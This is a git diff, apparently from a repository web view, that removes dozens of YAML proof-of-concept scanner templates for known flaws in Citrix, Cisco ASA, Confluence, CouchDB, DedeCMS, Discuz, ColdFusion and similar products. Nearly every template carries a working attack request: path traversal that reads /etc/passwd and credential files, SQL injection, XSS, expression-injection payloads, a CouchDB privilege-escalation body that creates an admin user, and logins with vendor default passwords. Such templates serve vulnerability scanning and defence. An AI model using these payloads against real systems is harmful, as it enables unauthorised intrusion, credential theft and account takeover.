/plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=46ea1712d4b13b55b3f680cc5b8b54e8&map_legend=Traffic+Load&map_stamp=Created%3A%2B%25b%2B%25d%2B%25Y%2B%25H%3A%25M%3A%25S&map_linkdefaultwidth=7
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.status == 200
|
|
||||||
- method: GET
|
|
||||||
path: /plugins/weathermap/configs/test.php
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.status == 200 && response.body.bcontains(b"46ea1712d4b13b55b3f680cc5b8b54e8")
|
|
||||||
detail:
|
|
||||||
author: whynot(https://github.com/notwhy)
|
|
||||||
links:
|
|
||||||
- https://www.secpulse.com/archives/47690.html
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
name: poc-yaml-chinaunicom-modem-default-password
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /cu.html
|
|
||||||
body: >-
|
|
||||||
frashnum=&action=login&Frm_Logintoken=1&Username=CUAdmin&Password=CUAdmin&Username=&Password=
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 302 && response.headers["location"] == "/menu.gch"
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-cisco-cve-2020-3452-readfile
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.status == 200 && response.headers["Content-Type"] == "application/octet-stream" && response.body.bcontains(b"INTERNAL_PASSWORD_ENABLED")
|
|
||||||
detail:
|
|
||||||
author: JrD (https://github.com/JrDw0/)
|
|
||||||
links:
|
|
||||||
- https://nvd.nist.gov/vuln/detail/CVE-2020-3452
|
|
||||||
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-citrix-cve-2019-19781-path-traversal
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /vpn/../vpns/cfg/smb.conf
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"encrypt passwords") && response.body.bcontains(b"name resolve order")
|
|
||||||
detail:
|
|
||||||
author: su(https://suzzz112113.github.io/#blog)
|
|
||||||
links:
|
|
||||||
- https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
name: poc-yaml-citrix-cve-2020-8191-xss
|
|
||||||
set:
|
|
||||||
r1: randomLowercase(6)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /menu/stapp
|
|
||||||
headers:
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
body: >-
|
|
||||||
sid=254&pe=1%2C2%2C3%2C4%2C5&appname=%0D%0A%3C%2Ftitle%3E%3Cscript%3Ealert%28{{r1}}%29%3B%3C%2Fscript%3E&au=1&username=nsroot
|
|
||||||
follow_redirects: true
|
|
||||||
expression: response.body.bcontains(bytes("<script>alert(" + r1 + ");</script>")) && response.body.bcontains(b"citrix")
|
|
||||||
detail:
|
|
||||||
author: JingLing(https://hackfun.org/)
|
|
||||||
links:
|
|
||||||
- https://support.citrix.com/article/CTX276688
|
|
||||||
- https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/
|
|
||||||
- https://dmaasland.github.io/posts/citrix.html
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
name: poc-yaml-citrix-cve-2020-8193-unauthorized
|
|
||||||
set:
|
|
||||||
user: randomLowercase(8)
|
|
||||||
pass: randomLowercase(8)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: "/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1"
|
|
||||||
headers:
|
|
||||||
Content-Type: application/xml
|
|
||||||
X-NITRO-USER: '{{user}}'
|
|
||||||
X-NITRO-PASS: '{{pass}}'
|
|
||||||
body: <appfwprofile><login></login></appfwprofile>
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["Set-Cookie"]))
|
|
||||||
detail:
|
|
||||||
author: bufsnake(https://github.com/bufsnake)
|
|
||||||
links:
|
|
||||||
- https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py
|
|
||||||
- https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-citrix-xenmobile-cve-2020-8209
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.content_type.contains("octet-stream") && "^root:[x*]:0:0:".bmatches(response.body)
|
|
||||||
detail:
|
|
||||||
author: B1anda0(https://github.com/B1anda0)
|
|
||||||
links:
|
|
||||||
- https://nvd.nist.gov/vuln/detail/CVE-2020-8209
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
name: poc-yaml-coldfusion-cve-2010-2861-lfi
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"rdspassword=") && response.body.bcontains(b"encrypted=")
|
|
||||||
detail:
|
|
||||||
version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions
|
|
||||||
author: sharecast
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
name: poc-yaml-confluence-cve-2015-8399
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /spaces/viewdefaultdecorator.action?decoratorName
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator")
|
|
||||||
detail:
|
|
||||||
author: whynot(https://github.com/notwhy)
|
|
||||||
links:
|
|
||||||
- https://www.anquanke.com/vul/id/1150798
|
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
name: poc-yaml-confluence-cve-2019-3396-lfi
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /rest/tinymce/1/macro/preview
|
|
||||||
headers:
|
|
||||||
Content-Type: "application/json"
|
|
||||||
Host: localhost
|
|
||||||
Referer: http://localhost
|
|
||||||
body: >-
|
|
||||||
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}}
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(b"<param-name>contextConfigLocation</param-name>")
|
|
||||||
detail:
|
|
||||||
author: sharecast
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
name: poc-yaml-confluence-cve-2021-26084
|
|
||||||
set:
|
|
||||||
r1: randomInt(100000, 999999)
|
|
||||||
r2: randomInt(100000, 999999)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /pages/createpage-entervariables.action?SpaceKey=x
|
|
||||||
body: |
|
|
||||||
queryString=\u0027%2b%7b{{r1}}%2B{{r2}}%7d%2b\u0027
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
|
|
||||||
detail:
|
|
||||||
author: Loneyer(https://github.com/Loneyers)
|
|
||||||
links:
|
|
||||||
- https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read
|
|
||||||
set:
|
|
||||||
rand: randomLowercase(6)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /s/{{rand}}/_/;/WEB-INF/web.xml
|
|
||||||
follow_redirects: false
|
|
||||||
expression: response.status == 200 && response.body.bcontains(b"<display-name>Confluence</display-name>") && response.body.bcontains(b"com.atlassian.confluence.setup.ConfluenceAppConfig")
|
|
||||||
detail:
|
|
||||||
author: wulalalaaa(https://github.com/wulalalaaa)
|
|
||||||
links:
|
|
||||||
- https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
name: poc-yaml-consul-rexec-rce
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /v1/agent/self
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"DisableRemoteExec\": false")
|
|
||||||
detail:
|
|
||||||
author: imlonghao(https://imlonghao.com/)
|
|
||||||
links:
|
|
||||||
- https://www.exploit-db.com/exploits/46073
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
name: poc-yaml-consul-service-rce
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /v1/agent/self
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"EnableScriptChecks\": true") || response.body.bcontains(b"\"EnableRemoteScriptChecks\": true")
|
|
||||||
detail:
|
|
||||||
author: imlonghao(https://imlonghao.com/)
|
|
||||||
links:
|
|
||||||
- https://www.exploit-db.com/exploits/46074
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
name: poc-yaml-coremail-cnvd-2019-16798
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/mailsms/s?func=ADMIN:appState&dumpConfig=/
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.body.bcontains(bytes("<object name=\"cm_md_db\">"))
|
|
||||||
detail:
|
|
||||||
author: cc_ci(https://github.com/cc8ci)
|
|
||||||
links:
|
|
||||||
- https://www.secpulse.com/archives/107611.html
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
name: poc-yaml-couchcms-cve-2018-7662
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /includes/mysql2i/mysql2i.func.php
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.body.bcontains(b"mysql2i.func.php on line 10") && response.body.bcontains(b"Fatal error: Cannot redeclare mysql_affected_rows() in")
|
|
||||||
- method: GET
|
|
||||||
path: /addons/phpmailer/phpmailer.php
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.body.bcontains(b"phpmailer.php on line 10") && response.body.bcontains(b"Fatal error: Call to a menber function add_event_listener() on a non-object in")
|
|
||||||
detail:
|
|
||||||
author: we1x4n(https://we1x4n.github.io/)
|
|
||||||
links:
|
|
||||||
- https://github.com/CouchCMS/CouchCMS/issues/46
|
|
||||||
@@ -1,24 +0,0 @@
|
|||||||
name: poc-yaml-couchdb-cve-2017-12635
|
|
||||||
set:
|
|
||||||
r1: randomLowercase(32)
|
|
||||||
rules:
|
|
||||||
- method: PUT
|
|
||||||
path: '/_users/org.couchdb.user:{{r1}}'
|
|
||||||
headers:
|
|
||||||
Content-Type: application/json
|
|
||||||
Content-Length: '192'
|
|
||||||
body: |-
|
|
||||||
{
|
|
||||||
"type": "user",
|
|
||||||
"name": "{{r1}}",
|
|
||||||
"roles": ["_admin"],
|
|
||||||
"roles": [],
|
|
||||||
"password": "fVyuyAECgYEAhgJzkPO1sTV1Dvs5bvls4tyVAsLy2I7wHKWJvJdDUpox2TnCMFT9"
|
|
||||||
}
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 201 && response.body.bcontains(bytes("org.couchdb.user:" + r1))
|
|
||||||
detail:
|
|
||||||
author: j4ckzh0u(https://github.com/j4ckzh0u)
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-couchdb-unauth
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /_config
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.body.bcontains(b"httpd_design_handlers") && response.body.bcontains(b"external_manager") && response.body.bcontains(b"replicator_manager")
|
|
||||||
detail:
|
|
||||||
author: FiveAourThe(https://github.com/FiveAourThe)
|
|
||||||
links:
|
|
||||||
- https://www.seebug.org/vuldb/ssvid-91597
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
name: poc-yaml-craftcms-seomatic-cve-2020-9757-rce
|
|
||||||
set:
|
|
||||||
r1: randomInt(40000, 44800)
|
|
||||||
r2: randomInt(40000, 44800)
|
|
||||||
groups:
|
|
||||||
poc1:
|
|
||||||
- method: GET
|
|
||||||
path: /actions/seomatic/meta-container/meta-link-container/?uri={{{{r1}}*'{{r2}}'}}
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2)))
|
|
||||||
poc2:
|
|
||||||
- method: GET
|
|
||||||
path: /actions/seomatic/meta-container/all-meta-containers?uri={{{{r1}}*'{{r2}}'}}
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2)))
|
|
||||||
detail:
|
|
||||||
author: x1n9Qi8
|
|
||||||
links:
|
|
||||||
- http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-181
|
|
||||||
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9757
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
name: poc-yaml-datang-ac-default-password-cnvd-2021-04128
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /login.cgi
|
|
||||||
follow_redirects: false
|
|
||||||
body: >-
|
|
||||||
user=admin&password1=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81&password=123456&Submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.headers["set-cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_")
|
|
||||||
|
|
||||||
detail:
|
|
||||||
author: B1anda0(https://github.com/B1anda0)
|
|
||||||
links:
|
|
||||||
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-04128
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
name: poc-yaml-dedecms-carbuyaction-fileinclude
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /plus/carbuyaction.php?dopost=return&code=../../
|
|
||||||
headers:
|
|
||||||
Cookie: code=alipay
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200
|
|
||||||
- method: GET
|
|
||||||
path: /plus/carbuyaction.php?dopost=return&code=../../
|
|
||||||
headers:
|
|
||||||
Cookie: code=cod
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes("Cod::respond()"))
|
|
||||||
|
|
||||||
detail:
|
|
||||||
author: harris2015(https://github.com/harris2015)
|
|
||||||
Affected Version: "DedeCmsV5.x"
|
|
||||||
links:
|
|
||||||
- https://www.cnblogs.com/milantgh/p/3615986.html
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
name: poc-yaml-dedecms-cve-2018-6910
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /include/downmix.inc.php
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes("Fatal error")) && response.body.bcontains(bytes("downmix.inc.php")) && response.body.bcontains(bytes("Call to undefined function helper()"))
|
|
||||||
detail:
|
|
||||||
author: PickledFish(https://github.com/PickledFish)
|
|
||||||
links:
|
|
||||||
- https://github.com/kongxin520/DedeCMS/blob/master/DedeCMS_5.7_Bug.md
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
name: poc-yaml-dedecms-cve-2018-7700-rce
|
|
||||||
set:
|
|
||||||
r: randomInt(2000000000, 2100000000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5{{r}};{/dede:field}
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
|
|
||||||
detail:
|
|
||||||
author: harris2015(https://github.com/harris2015)
|
|
||||||
Affected Version: "V5.7SP2正式版(2018-01-09)"
|
|
||||||
links:
|
|
||||||
- https://xz.aliyun.com/t/2224
|
|
||||||
@@ -1,26 +0,0 @@
|
|||||||
name: poc-yaml-dedecms-guestbook-sqli
|
|
||||||
set:
|
|
||||||
r: randomInt(800000000, 1000000000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /plus/guestbook.php
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200
|
|
||||||
search: action=admin&id=(?P<articleid>\d{1,20})
|
|
||||||
- method: GET
|
|
||||||
path: /plus/guestbook.php?action=admin&job=editok&id={{articleid}}&msg=',msg=@`'`,msg=(selecT md5({{r}})),email='
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200
|
|
||||||
- method: GET
|
|
||||||
path: /plus/guestbook.php
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
|
|
||||||
|
|
||||||
detail:
|
|
||||||
author: harris2015(https://github.com/harris2015)
|
|
||||||
Affected Version: "5.7"
|
|
||||||
links:
|
|
||||||
- https://blog.csdn.net/god_7z1/article/details/8180454
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
name: poc-yaml-dedecms-membergroup-sqli
|
|
||||||
set:
|
|
||||||
r: randomInt(800000000, 1000000000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{r}})+--+@`'`
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
|
|
||||||
detail:
|
|
||||||
author: harris2015(https://github.com/harris2015)
|
|
||||||
Affected Version: "5.6,5.7"
|
|
||||||
links:
|
|
||||||
- http://www.dedeyuan.com/xueyuan/wenti/1244.html
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
name: poc-yaml-dedecms-url-redirection
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/plus/download.php?open=1&link=aHR0cHM6Ly93d3cuZHUxeDNyMTIuY29t
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 302 && response.headers["location"] == "https://www.du1x3r12.com"
|
|
||||||
detail:
|
|
||||||
author: cc_ci(https://github.com/cc8ci)
|
|
||||||
Affected Version: "V5.7 sp1"
|
|
||||||
links:
|
|
||||||
- https://blog.csdn.net/ystyaoshengting/article/details/82734888
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
name: poc-yaml-discuz-ml3x-cnvd-2019-22239
|
|
||||||
set:
|
|
||||||
r1: randomInt(800000000, 1000000000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /forum.php
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200
|
|
||||||
search: cookiepre = '(?P<token>[\w_]+)'
|
|
||||||
- method: GET
|
|
||||||
path: /forum.php
|
|
||||||
headers:
|
|
||||||
Cookie: "{{token}}language=sc'.print(md5({{r1}})).'"
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))
|
|
||||||
detail:
|
|
||||||
author: X.Yang
|
|
||||||
Discuz_version: Discuz!ML 3.x
|
|
||||||
links:
|
|
||||||
- https://www.cnvd.org.cn/flaw/show/CNVD-2019-22239
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
name: poc-yaml-discuz-v72-sqli
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,md5(1234),0x3a)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed055") && response.body.bcontains(b"Discuz! info</b>: MySQL Query Error")
|
|
||||||
detail:
|
|
||||||
author: leezp
|
|
||||||
Affected Version: "discuz <=v7.2"
|
|
||||||
vuln_url: "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20"
|
|
||||||
links:
|
|
||||||
- https://blog.csdn.net/weixin_40709439/article/details/82780606
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-discuz-wechat-plugins-unauth
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: '/plugin.php?id=wechat:wechat&ac=wxregister'
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 302 && "set-cookie" in response.headers && response.headers["set-cookie"].contains("auth") && "location" in response.headers && response.headers["location"].contains("wsq.discuz.com")
|
|
||||||
detail:
|
|
||||||
author: JrD
|
|
||||||
links:
|
|
||||||
- https://gitee.com/ComsenzDiscuz/DiscuzX/issues/IPRUI
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user